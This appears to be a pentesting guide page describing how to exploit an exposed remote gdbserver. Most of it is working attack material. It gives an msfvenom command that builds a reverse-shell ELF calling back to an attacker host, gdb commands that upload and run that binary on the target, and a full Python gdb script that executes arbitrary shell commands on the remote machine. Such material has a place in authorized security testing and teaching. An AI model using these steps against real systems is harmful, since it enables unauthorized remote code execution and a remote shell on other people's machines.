Pentesting Remote GdbServer

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Basic Information
gdbserver is a computer program that makes it possible to remotely debug other programs. Running on the same system as the program to be debugged, it allows the GNU Debugger to connect from another system; that is, only the executable to be debugged needs to be resident on the target system ("target"), while the source code and a copy of the binary file to be debugged reside on the developer's local computer ("host"). The connection can be either TCP or a serial line.
You can make a gdbserver listen in any port and at the moment nmap is not capable of recognising the service.
Exploitation
Upload and Execute
You can easily create an elf backdoor with msfvenom, upload it and execute is:
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
​
chmod +x binary.elf
​
gdb binary.elf
​
# Set remote debuger target
target extended-remote 10.10.10.11:1337
​
# Upload elf file
remote put binary.elf binary.elf
​
# Set remote executable file
set remote exec-file /home/user/binary.elf
​
# Execute reverse shell executable
run
​
# You should get your reverse-shell
Execute arbitrary commands
There is another way to make the debugger execute arbitrary commands via a python custom script taken from here.
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345
​
# Load our custom gdb command `rcmd`.
source ./remote-cmd.py
​
# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r
​
# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r
​
# Run the remote command, e.g. `ls`.
rcmd ls
First of all create locally this script:
remote-cmd.py
#!/usr/bin/env python3
​
import gdb
import re
import traceback
import uuid
​
​
class RemoteCmd(gdb.Command):
    def __init__(self):
        self.addresses = {}
​
        self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
        gdb.write(f"Using tmp output file: {self.tmp_file}.\n")
​
        gdb.execute("set detach-on-fork off")
        gdb.execute("set follow-fork-mode parent")
​
        gdb.execute("set max-value-size unlimited")
        gdb.execute("set pagination off")
        gdb.execute("set print elements 0")
        gdb.execute("set print repeats 0")
​
        super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)
​
    def preload(self):
        for symbol in [
            "close",
            "execl",
            "fork",
            "free",
            "lseek",
            "malloc",
            "open",
            "read",
        ]:
            self.load(symbol)
​
    def load(self, symbol):
        if symbol not in self.addresses:
            address_string = gdb.execute(f"info address {symbol}", to_string=True)
            match = re.match(
                f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
            )
            if match and len(match.groups()) > 0:
                self.addresses[symbol] = match.groups()[0]
            else:
                raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')
​
        return self.addresses[symbol]
​
    def output(self):
        # From `fcntl-linux.h`
        O_RDONLY = 0
        gdb.execute(
            f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
        )
​
        # From `stdio.h`
        SEEK_SET = 0
        SEEK_END = 2
        gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
        gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
        if int(gdb.convenience_variable("len")) <= 0:
            gdb.write("No output was captured.")
            return
​
        gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
        gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
        gdb.execute('printf "%s\\n", (char*) $mem')
​
        gdb.execute(f'call (int){self.load("close")}($fd)')
        gdb.execute(f'call (int){self.load("free")}($mem)')
​
    def invoke(self, arg, from_tty):
        try:
            self.preload()
​
            is_auto_solib_add = gdb.parameter("auto-solib-add")
            gdb.execute("set auto-solib-add off")
​
            parent_inferior = gdb.selected_inferior()
            gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
            child_pid = gdb.convenience_variable("child_pid")
            child_inferior = list(
                filter(lambda x: x.pid == child_pid, gdb.inferiors())
            )[0]
            gdb.execute(f"inferior {child_inferior.num}")
​
            try:
                gdb.execute(
                    f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
                )
            except gdb.error as e:
                if (
                    "The program being debugged exited while in a function called from GDB"
                    in str(e)
                ):
                    pass
                else:
                    raise e
            finally:
                gdb.execute(f"inferior {parent_inferior.num}")
                gdb.execute(f"remove-inferiors {child_inferior.num}")
​
            self.output()
        except Exception as e:
            gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
            raise e
        finally:
            gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')
​
​
RemoteCmd()
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Exploitation

Upload and Execute

Execute arbitrary commands